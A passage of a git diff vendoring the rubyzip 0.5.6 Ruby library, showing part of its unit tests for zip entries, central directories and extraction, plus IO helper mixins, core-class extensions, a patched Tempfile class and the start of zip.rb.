copy.entries[0].name = "a totally different name" + assert(@zipEntrySet != copy) + end + + def test_parent + entries = [ + ZipEntry.new("zf.zip", "a"), + ZipEntry.new("zf.zip", "a/"), + ZipEntry.new("zf.zip", "a/b"), + ZipEntry.new("zf.zip", "a/b/"), + ZipEntry.new("zf.zip", "a/b/c"), + ZipEntry.new("zf.zip", "a/b/c/") + ] + entrySet = ZipEntrySet.new(entries) + + assert_equals(nil, entrySet.parent(entries[0])) + assert_equals(nil, entrySet.parent(entries[1])) + assert_equals(entries[1], entrySet.parent(entries[2])) + assert_equals(entries[1], entrySet.parent(entries[3])) + assert_equals(entries[3], entrySet.parent(entries[4])) + assert_equals(entries[3], entrySet.parent(entries[5])) + end +end + + +class ZipCentralDirectoryTest < RUNIT::TestCase + + def test_read_from_stream + File.open(TestZipFile::TEST_ZIP2.zip_name, "rb") { + |zipFile| + cdir = ZipCentralDirectory.read_from_stream(zipFile) + + assert_equals(TestZipFile::TEST_ZIP2.entry_names.size, cdir.size) + assert(cdir.entries.sort.compare_enumerables(TestZipFile::TEST_ZIP2.entry_names.sort) { + |cdirEntry, testEntryName| + cdirEntry.name == testEntryName + }) + assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) + } + end + + def test_readFromInvalidStream + File.open("file2.txt", "rb") { + |zipFile| + cdir = ZipCentralDirectory.new + cdir.read_from_stream(zipFile) + } + fail "ZipError expected!" + rescue ZipError + end + + def test_ReadFromTruncatedZipFile + fragment="" + File.open("testDirectory.bin") { |f| fragment = f.read } + fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete + fragment.extend(IOizeString) + entry = ZipCentralDirectory.new + entry.read_from_stream(fragment) + fail "ZipError expected" + rescue ZipError + end + + def test_write_to_stream + entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] + cdir = ZipCentralDirectory.new(entries, "my zip comment") + File.open("cdirtest.bin", "wb") { |f| cdir.write_to_stream(f) } + cdirReadback = ZipCentralDirectory.new + File.open("cdirtest.bin", "rb") { |f| cdirReadback.read_from_stream(f) } + + assert_equals(cdir.entries.sort, cdirReadback.entries.sort) + end + + def test_equality + cdir1 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir2 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "my zip comment") + cdir3 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "secondEntryName"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + cdir4 = ZipCentralDirectory.new([ ZipEntry.new("file.zip", "flimse", nil, + "somethingExtra"), + ZipEntry.new("file.zip", "lastEntry.txt") ], + "comment?") + assert_equals(cdir1, cdir1) + assert_equals(cdir1, cdir2) + + assert(cdir1 != cdir3) + assert(cdir2 != cdir3) + assert(cdir2 != cdir3) + assert(cdir3 != cdir4) + + assert(cdir3 != "hello") + end +end + + +class BasicZipFileTest < RUNIT::TestCase + include AssertEntry + + def setup + @zipFile = ZipFile.new(TestZipFile::TEST_ZIP2.zip_name) + @testEntryNameIndex=0 + end + + def test_entries + assert_equals(TestZipFile::TEST_ZIP2.entry_names.sort, + @zipFile.entries.entries.sort.map {|e| e.name} ) + end + + def test_each + count = 0 + visited = {} + @zipFile.each { + |entry| + assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) + assert(! visited.include?(entry.name)) + visited[entry.name] = nil + count = count.succ + } + assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + end + + def test_foreach + count = 0 + visited = {} + ZipFile.foreach(TestZipFile::TEST_ZIP2.zip_name) { + |entry| + assert(TestZipFile::TEST_ZIP2.entry_names.include?(entry.name)) + assert(! visited.include?(entry.name)) + visited[entry.name] = nil + count = count.succ + } + assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + end + + def test_get_input_stream + count = 0 + visited = {} + @zipFile.each { + |entry| + assert_entry(entry.name, @zipFile.get_input_stream(entry), entry.name) + assert(! visited.include?(entry.name)) + visited[entry.name] = nil + count = count.succ + } + assert_equals(TestZipFile::TEST_ZIP2.entry_names.length, count) + end + + def test_get_input_streamBlock + fileAndEntryName = @zipFile.entries.first.name + @zipFile.get_input_stream(fileAndEntryName) { + |zis| + assert_entryContentsForStream(fileAndEntryName, + zis, + fileAndEntryName) + } + end +end + +class CommonZipFileFixture < RUNIT::TestCase + include AssertEntry + + EMPTY_FILENAME = "emptyZipFile.zip" + + TEST_ZIP = TestZipFile::TEST_ZIP2.clone + TEST_ZIP.zip_name = "4entry_copy.zip" + + def setup + File.delete(EMPTY_FILENAME) if File.exists?(EMPTY_FILENAME) + File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) + end +end + +class ZipFileTest < CommonZipFileFixture + + def test_createFromScratch + comment = "a short comment" + + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.get_output_stream("myFile") { |os| os.write "myFile contains just this" } + zf.mkdir("dir1") + zf.comment = comment + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals(comment, zfRead.comment) + assert_equals(2, zfRead.entries.length) + end + + def test_get_output_stream + entryCount = nil + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + entryCount = zf.size + zf.get_output_stream('newEntry.txt') { + |os| + os.write "Putting stuff in newEntry.txt" + } + assert_equals(entryCount+1, zf.size) + assert_equals("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) + + zf.get_output_stream(zf.get_entry('empty.txt')) { + |os| + os.write "Putting stuff in empty.txt" + } + assert_equals(entryCount+1, zf.size) + assert_equals("Putting stuff in empty.txt", zf.read("empty.txt")) + + } + + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_equals(entryCount+1, zf.size) + assert_equals("Putting stuff in newEntry.txt", zf.read("newEntry.txt")) + assert_equals("Putting stuff in empty.txt", zf.read("empty.txt")) + } + end + + def test_add + srcFile = "file2.txt" + entryName = "newEntryName.rb" + assert(File.exists?(srcFile)) + zf = ZipFile.new(EMPTY_FILENAME, ZipFile::CREATE) + zf.add(entryName, srcFile) + zf.close + + zfRead = ZipFile.new(EMPTY_FILENAME) + assert_equals("", zfRead.comment) + assert_equals(1, zfRead.entries.length) + assert_equals(entryName, zfRead.entries.first.name) + AssertEntry.assert_contents(srcFile, + zfRead.get_input_stream(entryName) { |zis| zis.read }) + end + + def test_addExistingEntryName + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.add(zf.entries.first.name, "file2.txt") + } + } + end + + def test_addExistingEntryNameReplace + gotCalled = false + replacedEntry = nil + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + replacedEntry = zf.entries.first.name + zf.add(replacedEntry, "file2.txt") { gotCalled = true; true } + } + assert(gotCalled) + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_contains(zf, replacedEntry, "file2.txt") + } + end + + def test_addDirectory + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.add(TestFiles::EMPTY_TEST_DIR, TestFiles::EMPTY_TEST_DIR) + } + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + dirEntry = zf.entries.detect { |e| e.name == TestFiles::EMPTY_TEST_DIR+"/" } + assert(dirEntry.is_directory) + } + end + + def test_remove + entryToRemove, *remainingEntries = TEST_ZIP.entry_names + + File.copy(TestZipFile::TEST_ZIP2.zip_name, TEST_ZIP.zip_name) + + zf = ZipFile.new(TEST_ZIP.zip_name) + assert(zf.entries.map { |e| e.name }.include?(entryToRemove)) + zf.remove(entryToRemove) + assert(! zf.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zf.entries.map {|x| x.name }.sort, remainingEntries.sort) + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert(! zfRead.entries.map { |e| e.name }.include?(entryToRemove)) + assert_equals(zfRead.entries.map {|x| x.name }.sort, remainingEntries.sort) + zfRead.close + end + + + def test_rename + entryToRename, *remainingEntries = TEST_ZIP.entry_names + + zf = ZipFile.new(TEST_ZIP.zip_name) + assert(zf.entries.map { |e| e.name }.include?(entryToRename)) + + newName = "changed name" + assert(! zf.entries.map { |e| e.name }.include?(newName)) + + zf.rename(entryToRename, newName) + assert(zf.entries.map { |e| e.name }.include?(newName)) + + zf.close + + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert(zfRead.entries.map { |e| e.name }.include?(newName)) + zfRead.close + end + + def test_renameToExistingEntry + oldEntries = nil + ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } + + assert_exception(ZipEntryExistsError) { + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.rename(zf.entries[0], zf.entries[1].name) + } + } + + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_equals(oldEntries.sort.map{ |e| e.name }, zf.entries.sort.map{ |e| e.name }) + } + end + + def test_renameToExistingEntryOverwrite + oldEntries = nil + ZipFile.open(TEST_ZIP.zip_name) { |zf| oldEntries = zf.entries } + + gotCalled = false + renamedEntryName = nil + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + renamedEntryName = zf.entries[0].name + zf.rename(zf.entries[0], zf.entries[1].name) { gotCalled = true; true } + } + + assert(gotCalled) + oldEntries.delete_if { |e| e.name == renamedEntryName } + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_equals(oldEntries.sort.map{ |e| e.name }, + zf.entries.sort.map{ |e| e.name }) + } + end + + def test_renameNonEntry + nonEntry = "bogusEntry" + target_entry = "target_entryName" + zf = ZipFile.new(TEST_ZIP.zip_name) + assert(! zf.entries.include?(nonEntry)) + assert_exception(Errno::ENOENT) { + zf.rename(nonEntry, target_entry) + } + zf.commit + assert(! zf.entries.include?(target_entry)) + ensure + zf.close + end + + def test_renameEntryToExistingEntry + entry1, entry2, *remaining = TEST_ZIP.entry_names + zf = ZipFile.new(TEST_ZIP.zip_name) + assert_exception(ZipEntryExistsError) { + zf.rename(entry1, entry2) + } + ensure + zf.close + end + + def test_replace + entryToReplace = TEST_ZIP.entry_names[2] + newEntrySrcFilename = "file2.txt" + zf = ZipFile.new(TEST_ZIP.zip_name) + zf.replace(entryToReplace, newEntrySrcFilename) + + zf.close + zfRead = ZipFile.new(TEST_ZIP.zip_name) + AssertEntry::assert_contents(newEntrySrcFilename, + zfRead.get_input_stream(entryToReplace) { |is| is.read }) + AssertEntry::assert_contents(TEST_ZIP.entry_names[0], + zfRead.get_input_stream(TEST_ZIP.entry_names[0]) { |is| is.read }) + AssertEntry::assert_contents(TEST_ZIP.entry_names[1], + zfRead.get_input_stream(TEST_ZIP.entry_names[1]) { |is| is.read }) + AssertEntry::assert_contents(TEST_ZIP.entry_names[3], + zfRead.get_input_stream(TEST_ZIP.entry_names[3]) { |is| is.read }) + zfRead.close + end + + def test_replaceNonEntry + entryToReplace = "nonExistingEntryname" + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + assert_exception(Errno::ENOENT) { + zf.replace(entryToReplace, "file2.txt") + } + } + end + + def test_commit + newName = "renamedFirst" + zf = ZipFile.new(TEST_ZIP.zip_name) + oldName = zf.entries.first + zf.rename(oldName, newName) + zf.commit + + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert(zfRead.entries.detect { |e| e.name == newName } != nil) + assert(zfRead.entries.detect { |e| e.name == oldName } == nil) + zfRead.close + + zf.close + end + + # This test tests that after commit, you + # can delete the file you used to add the entry to the zip file + # with + def test_commitUseZipEntry + File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") + zf = ZipFile.open(TEST_ZIP.zip_name) + zf.add("okToDelete.txt", "okToDelete.txt") + assert_contains(zf, "okToDelete.txt") + zf.commit + File.move("okToDelete.txt", "okToDeleteMoved.txt") + assert_contains(zf, "okToDelete.txt", "okToDeleteMoved.txt") + end + +# def test_close +# zf = ZipFile.new(TEST_ZIP.zip_name) +# zf.close +# assert_exception(IOError) { +# zf.extract(TEST_ZIP.entry_names.first, "hullubullu") +# } +# end + + def test_compound1 + renamedName = "renamedName" + originalEntries = [] + begin + zf = ZipFile.new(TEST_ZIP.zip_name) + originalEntries = zf.entries.dup + + assert_not_contains(zf, TestFiles::RANDOM_ASCII_FILE1) + zf.add(TestFiles::RANDOM_ASCII_FILE1, + TestFiles::RANDOM_ASCII_FILE1) + assert_contains(zf, TestFiles::RANDOM_ASCII_FILE1) + + zf.rename(zf.entries[0], renamedName) + assert_contains(zf, renamedName) + + TestFiles::BINARY_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assert_contains(zf, filename) + } + + assert_contains(zf, originalEntries.last.to_s) + zf.remove(originalEntries.last.to_s) + assert_not_contains(zf, originalEntries.last.to_s) + + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zip_name) + assert_contains(zfRead, TestFiles::RANDOM_ASCII_FILE1) + assert_contains(zfRead, renamedName) + TestFiles::BINARY_TEST_FILES.each { + |filename| + assert_contains(zfRead, filename) + } + assert_not_contains(zfRead, originalEntries.last.to_s) + ensure + zfRead.close + end + end + + def test_compound2 + begin + zf = ZipFile.new(TEST_ZIP.zip_name) + originalEntries = zf.entries.dup + + originalEntries.each { + |entry| + zf.remove(entry) + assert_not_contains(zf, entry) + } + assert(zf.entries.empty?) + + TestFiles::ASCII_TEST_FILES.each { + |filename| + zf.add(filename, filename) + assert_contains(zf, filename) + } + assert_equals(zf.entries.sort.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) + + zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") + assert_not_contains(zf, TestFiles::ASCII_TEST_FILES[0]) + assert_contains(zf, "newName") + ensure + zf.close + end + begin + zfRead = ZipFile.new(TEST_ZIP.zip_name) + asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup + asciiTestFiles.shift + asciiTestFiles.each { + |filename| + assert_contains(zf, filename) + } + + assert_contains(zf, "newName") + ensure + zfRead.close + end + end + + private + def assert_contains(zf, entryName, filename = entryName) + assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") + assert_entryContents(zf, entryName, filename) if File.exists?(filename) + end + + def assert_not_contains(zf, entryName) + assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") + end +end + +class ZipFileExtractTest < CommonZipFileFixture + EXTRACTED_FILENAME = "extEntry" + ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entry_names.reverse + + def setup + super + File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) + end + + def test_extract + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) + + assert(File.exists?(EXTRACTED_FILENAME)) + AssertEntry::assert_contents(EXTRACTED_FILENAME, + zf.get_input_stream(ENTRY_TO_EXTRACT) { |is| is.read }) + } + end + + def test_extractExists + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + assert_exception(ZipDestinationFileExistsError) { + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) + } + } + File.open(EXTRACTED_FILENAME, "r") { + |f| + assert_equals(writtenText, f.read) + } + end + + def test_extractExistsOverwrite + writtenText = "written text" + File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } + + gotCalledCorrectly = false + ZipFile.open(TEST_ZIP.zip_name) { + |zf| + zf.extract(zf.entries.first, EXTRACTED_FILENAME) { + |entry, extractLoc| + gotCalledCorrectly = zf.entries.first == entry && + extractLoc == EXTRACTED_FILENAME + true + } + } + + assert(gotCalledCorrectly) + File.open(EXTRACTED_FILENAME, "r") { + |f| + assert(writtenText != f.read) + } + end + + def test_extractNonEntry + zf = ZipFile.new(TEST_ZIP.zip_name) + assert_exception(Errno::ENOENT) { zf.extract("nonExistingEntry", "nonExistingEntry") } + ensure + zf.close if zf + end + + def test_extractNonEntry2 + outFile = "outfile" + assert_exception(Errno::ENOENT) { + zf = ZipFile.new(TEST_ZIP.zip_name) + nonEntry = "hotdog-diddelidoo" + assert(! zf.entries.include?(nonEntry)) + zf.extract(nonEntry, outFile) + zf.close + } + assert(! File.exists?(outFile)) + end + +end + +class ZipFileExtractDirectoryTest < CommonZipFileFixture + TEST_OUT_NAME = "emptyOutDir" + + def open_zip(&aProc) + assert(aProc != nil) + ZipFile.open(TestZipFile::TEST_ZIP4.zip_name, &aProc) + end + + def extract_test_dir(&aProc) + open_zip { + |zf| + zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) + } + end + + def setup + super + + Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME + File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME + end + + def test_extractDirectory + extract_test_dir + assert(File.directory?(TEST_OUT_NAME)) + end + + def test_extractDirectoryExistsAsDir + Dir.mkdir TEST_OUT_NAME + extract_test_dir + assert(File.directory?(TEST_OUT_NAME)) + end + + def test_extractDirectoryExistsAsFile + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + assert_exception(ZipDestinationFileExistsError) { extract_test_dir } + end + + def test_extractDirectoryExistsAsFileOverwrite + File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } + gotCalled = false + extract_test_dir { + |entry, destPath| + gotCalled = true + assert_equals(TEST_OUT_NAME, destPath) + assert(entry.is_directory) + true + } + assert(gotCalled) + assert(File.directory?(TEST_OUT_NAME)) + end +end + +class ZipStreamableFileTest < RUNIT::TestCase + def test_equality + zipEntry1 = ZipEntry.new("zf.zip", "entryname1", "comment") + zipEntry2 = ZipEntry.new("zf.zip", "entryname2", "comment") + + zipStreamableFile1 = ZipStreamableFile.new(zipEntry1, "path") + zipStreamableFile2 = ZipStreamableFile.new(zipEntry1, "path") + zipStreamableFile3 = ZipStreamableFile.new(zipEntry1, "anotherPath") + zipStreamableFile4 = ZipStreamableFile.new(zipEntry2, "path") + + assert_equals(zipStreamableFile1, zipStreamableFile1) + assert_equals(zipStreamableFile1, zipStreamableFile2) + assert(zipStreamableFile1 != zipStreamableFile3) + assert(zipStreamableFile1 != zipStreamableFile4) + assert(zipStreamableFile1 != zipEntry1) + assert(zipStreamableFile1 != "hej") + end +end + +END { + TestFiles::create_test_files(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) + TestZipFile::create_test_zips(ARGV.index("recreate") != nil || + ARGV.index("recreateonly") != nil) + exit if ARGV.index("recreateonly") != nil +} + +class ZipExtraFieldTest < RUNIT::TestCase + def test_new + extra_pure = ZipExtraField.new("") + extra_withstr = ZipExtraField.new("foo") + assert_instance_of(ZipExtraField, extra_pure) + assert_instance_of(ZipExtraField, extra_withstr) + end + + def test_unknownfield + extra = ZipExtraField.new("foo") + assert_equals(extra["Unknown"], "foo") + extra.merge("a") + assert_equals(extra["Unknown"], "fooa") + extra.merge("barbaz") + assert_equals(extra.to_s, "fooabarbaz") + end + + + def test_merge + str = "UT\x5\0\x3\250$\r@Ux\0\0" + extra1 = ZipExtraField.new("") + extra2 = ZipExtraField.new(str) + assert(! extra1.member?("UniversalTime")) + assert(extra2.member?("UniversalTime")) + extra1.merge(str) + assert_equals(extra1["UniversalTime"].mtime, extra2["UniversalTime"].mtime) + end + + def test_length + str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" + extra = ZipExtraField.new(str) + assert_equals(extra.local_length, extra.to_local_bin.length) + assert_equals(extra.c_dir_length, extra.to_c_dir_bin.length) + extra.merge("foo") + assert_equals(extra.local_length, extra.to_local_bin.length) + assert_equals(extra.c_dir_length, extra.to_c_dir_bin.length) + end + + + def test_to_s + str = "UT\x5\0\x3\250$\r@Ux\0\0Te\0\0testit" + extra = ZipExtraField.new(str) + assert_instance_of(String, extra.to_s) + + s = extra.to_s + extra.merge("foo") + assert_equals(s.length + 3, extra.to_s.length) + end + + def test_equality + str = "UT\x5\0\x3\250$\r@" + extra1 = ZipExtraField.new(str) + extra2 = ZipExtraField.new(str) + extra3 = ZipExtraField.new(str) + assert_equals(extra1, extra2) + + extra2["UniversalTime"].mtime = Time.now + assert(extra1 != extra2) + + extra3.create("IUnix") + assert(extra1 != extra3) + + extra1.create("IUnix") + assert_equals(extra1, extra3) + end + +end + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/ioextras.rb b/vendor/rubyzip-0.5.6/zip/ioextras.rb new file mode 100755 index 00000000..85785d6e --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/ioextras.rb @@ -0,0 +1,114 @@ +module IOExtras + module FakeIO + def kind_of?(object) + object == IO || super + end + end + + # Implements many of the convenience methods of IO + # such as gets, getc, readline and readlines + # depends on: input_finished?, produce_input and read + module AbstractInputStream + include Enumerable + include FakeIO + + def initialize + super + @lineno = 0 + @outputBuffer = "" + end + + attr_accessor :lineno + + def readlines(aSepString = $/) + retVal = [] + each_line(aSepString) { |line| retVal << line } + return retVal + end + + def gets(aSepString=$/) + @lineno = @lineno.next + return read if aSepString == nil + aSepString="#{$/}#{$/}" if aSepString == "" + + bufferIndex=0 + while ((matchIndex = @outputBuffer.index(aSepString, bufferIndex)) == nil) + bufferIndex=@outputBuffer.length + if input_finished? + return @outputBuffer.empty? ? nil : flush + end + @outputBuffer << produce_input + end + sepIndex=matchIndex + aSepString.length + return @outputBuffer.slice!(0...sepIndex) + end + + def flush + retVal=@outputBuffer + @outputBuffer="" + return retVal + end + + def readline(aSepString = $/) + retVal = gets(aSepString) + raise EOFError if retVal == nil + return retVal + end + + def each_line(aSepString = $/) + while true + yield readline(aSepString) + end + rescue EOFError + end + + alias_method :each, :each_line + end + + + #relies on << + module AbstractOutputStream + include FakeIO + + def write(data) + self << data + data.to_s.length + end + + + def print(*params) + self << params.to_s << $\.to_s + end + + def printf(aFormatString, *params) + self << sprintf(aFormatString, *params) + end + + def putc(anObject) + self << case anObject + when Fixnum then anObject.chr + when String then anObject + else raise TypeError, "putc: Only Fixnum and String supported" + end + anObject + end + + def puts(*params) + params << "\n" if params.empty? + params.flatten.each { + |element| + val = element.to_s + self << val + self << "\n" unless val[-1,1] == "\n" + } + end + + end + +end # IOExtras namespace module + + + +# Copyright (C) 2002-2004 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/stdrubyext.rb b/vendor/rubyzip-0.5.6/zip/stdrubyext.rb new file mode 100755 index 00000000..c3fc2acc --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/stdrubyext.rb @@ -0,0 +1,111 @@ +unless Enumerable.method_defined?(:inject) + module Enumerable #:nodoc:all + def inject(n = 0) + each { |value| n = yield(n, value) } + n + end + end +end + +module Enumerable #:nodoc:all + # returns a new array of all the return values not equal to nil + # This implementation could be faster + def select_map(&aProc) + map(&aProc).reject { |e| e.nil? } + end +end + +unless Object.method_defined?(:object_id) + class Object + # Using object_id which is the new thing, so we need + # to make that work in versions prior to 1.8.0 + alias object_id id + end +end + +unless File.respond_to?(:read) + class File + # singleton method read does not exist in 1.6.x + def self.read(fileName) + open(fileName) { |f| f.read } + end + end +end + +class String + def starts_with(aString) + rindex(aString, 0) == 0 + end + + def ends_with(aString) + index(aString, -aString.size) + end + + def ensure_end(aString) + ends_with(aString) ? self : self + aString + end + + def lchop + slice(1, length) + end +end + +class Time + + #MS-DOS File Date and Time format as used in Interrupt 21H Function 57H: + # + # Register CX, the Time: + # Bits 0-4 2 second increments (0-29) + # Bits 5-10 minutes (0-59) + # bits 11-15 hours (0-24) + # + # Register DX, the Date: + # Bits 0-4 day (1-31) + # bits 5-8 month (1-12) + # bits 9-15 year (four digit year minus 1980) + + + def to_binary_dos_time + (sec/2) + + (min << 5) + + (hour << 11) + end + + def to_binary_dos_date + (day) + + (month << 5) + + ((year - 1980) << 9) + end + + # Dos time is only stored with two seconds accuracy + def dos_equals(other) + to_i/2 == other.to_i/2 + end + + def self.parse_binary_dos_format(binaryDosDate, binaryDosTime) + second = 2 * ( 0b11111 & binaryDosTime) + minute = ( 0b11111100000 & binaryDosTime) >> 5 + hour = (0b1111100000000000 & binaryDosTime) >> 11 + day = ( 0b11111 & binaryDosDate) + month = ( 0b111100000 & binaryDosDate) >> 5 + year = ((0b1111111000000000 & binaryDosDate) >> 9) + 1980 + begin + return Time.local(year, month, day, hour, minute, second) + end + end +end + +class Module + def forward_message(forwarder, *messagesToForward) + methodDefs = messagesToForward.map { + |msg| + "def #{msg}; #{forwarder}(:#{msg}); end" + } + module_eval(methodDefs.join("\n")) + end +end + + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb new file mode 100755 index 00000000..11a7a84a --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/tempfile_bugfixed.rb @@ -0,0 +1,195 @@ +# +# tempfile - manipulates temporary files +# +# $Id: tempfile_bugfixed.rb,v 1.1 2005/01/07 23:08:02 alexeyv Exp $ +# + +require 'delegate' +require 'tmpdir' + +module BugFix + +# A class for managing temporary files. This library is written to be +# thread safe. +class Tempfile < DelegateClass(File) + MAX_TRY = 10 + @@cleanlist = [] + + # Creates a temporary file of mode 0600 in the temporary directory + # whose name is basename.pid.n and opens with mode "w+". A Tempfile + # object works just like a File object. + # + # If tmpdir is omitted, the temporary directory is determined by + # Dir::tmpdir provided by 'tmpdir.rb'. + # When $SAFE > 0 and the given tmpdir is tainted, it uses + # /tmp. (Note that ENV values are tainted by default) + def initialize(basename, tmpdir=Dir::tmpdir) + if $SAFE > 0 and tmpdir.tainted? + tmpdir = '/tmp' + end + + lock = nil + n = failure = 0 + + begin + Thread.critical = true + + begin + tmpname = sprintf('%s/%s%d.%d', tmpdir, basename, $$, n) + lock = tmpname + '.lock' + n += 1 + end while @@cleanlist.include?(tmpname) or + File.exist?(lock) or File.exist?(tmpname) + + Dir.mkdir(lock) + rescue + failure += 1 + retry if failure < MAX_TRY + raise "cannot generate tempfile `%s'" % tmpname + ensure + Thread.critical = false + end + + @data = [tmpname] + @clean_proc = Tempfile.callback(@data) + ObjectSpace.define_finalizer(self, @clean_proc) + + @tmpfile = File.open(tmpname, File::RDWR|File::CREAT|File::EXCL, 0600) + @tmpname = tmpname + @@cleanlist << @tmpname + @data[1] = @tmpfile + @data[2] = @@cleanlist + + super(@tmpfile) + + # Now we have all the File/IO methods defined, you must not + # carelessly put bare puts(), etc. after this. + + Dir.rmdir(lock) + end + + # Opens or reopens the file with mode "r+". + def open + @tmpfile.close if @tmpfile + @tmpfile = File.open(@tmpname, 'r+') + @data[1] = @tmpfile + __setobj__(@tmpfile) + end + + def _close # :nodoc: + @tmpfile.close if @tmpfile + @data[1] = @tmpfile = nil + end + protected :_close + + # Closes the file. If the optional flag is true, unlinks the file + # after closing. + # + # If you don't explicitly unlink the temporary file, the removal + # will be delayed until the object is finalized. + def close(unlink_now=false) + if unlink_now + close! + else + _close + end + end + + # Closes and unlinks the file. + def close! + _close + @clean_proc.call + ObjectSpace.undefine_finalizer(self) + end + + # Unlinks the file. On UNIX-like systems, it is often a good idea + # to unlink a temporary file immediately after creating and opening + # it, because it leaves other programs zero chance to access the + # file. + def unlink + # keep this order for thread safeness + File.unlink(@tmpname) if File.exist?(@tmpname) + @@cleanlist.delete(@tmpname) if @@cleanlist + end + alias delete unlink + + if RUBY_VERSION > '1.8.0' + def __setobj__(obj) + @_dc_obj = obj + end + else + def __setobj__(obj) + @obj = obj + end + end + + # Returns the full path name of the temporary file. + def path + @tmpname + end + + # Returns the size of the temporary file. As a side effect, the IO + # buffer is flushed before determining the size. + def size + if @tmpfile + @tmpfile.flush + @tmpfile.stat.size + else + 0 + end + end + alias length size + + class << self + def callback(data) # :nodoc: + pid = $$ + lambda{ + if pid == $$ + path, tmpfile, cleanlist = *data + + print "removing ", path, "..." if $DEBUG + + tmpfile.close if tmpfile + + # keep this order for thread safeness + File.unlink(path) if File.exist?(path) + cleanlist.delete(path) if cleanlist + + print "done\n" if $DEBUG + end + } + end + + # If no block is given, this is a synonym for new(). + # + # If a block is given, it will be passed tempfile as an argument, + # and the tempfile will automatically be closed when the block + # terminates. In this case, open() returns nil. + def open(*args) + tempfile = new(*args) + + if block_given? + begin + yield(tempfile) + ensure + tempfile.close + end + + nil + else + tempfile + end + end + end +end + +end # module BugFix +if __FILE__ == $0 +# $DEBUG = true + f = Tempfile.new("foo") + f.print("foo\n") + f.close + f.open + p f.gets # => "foo\n" + f.close! +end diff --git a/vendor/rubyzip-0.5.6/zip/zip.rb b/vendor/rubyzip-0.5.6/zip/zip.rb new file mode 100755 index 00000000..2ad17658 --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/zip.rb @@ -0,0 +1,1376 @@ +require 'delegate' +require 'singleton' +require 'tempfile' +require 'ftools' +require 'zlib' +require 'zip/stdrubyext' +require 'zip/ioextras' + +if Tempfile.superclass == SimpleDelegator + require 'zip/tempfile_bugfixed' + Tempfile = BugFix::Tempfile +end + 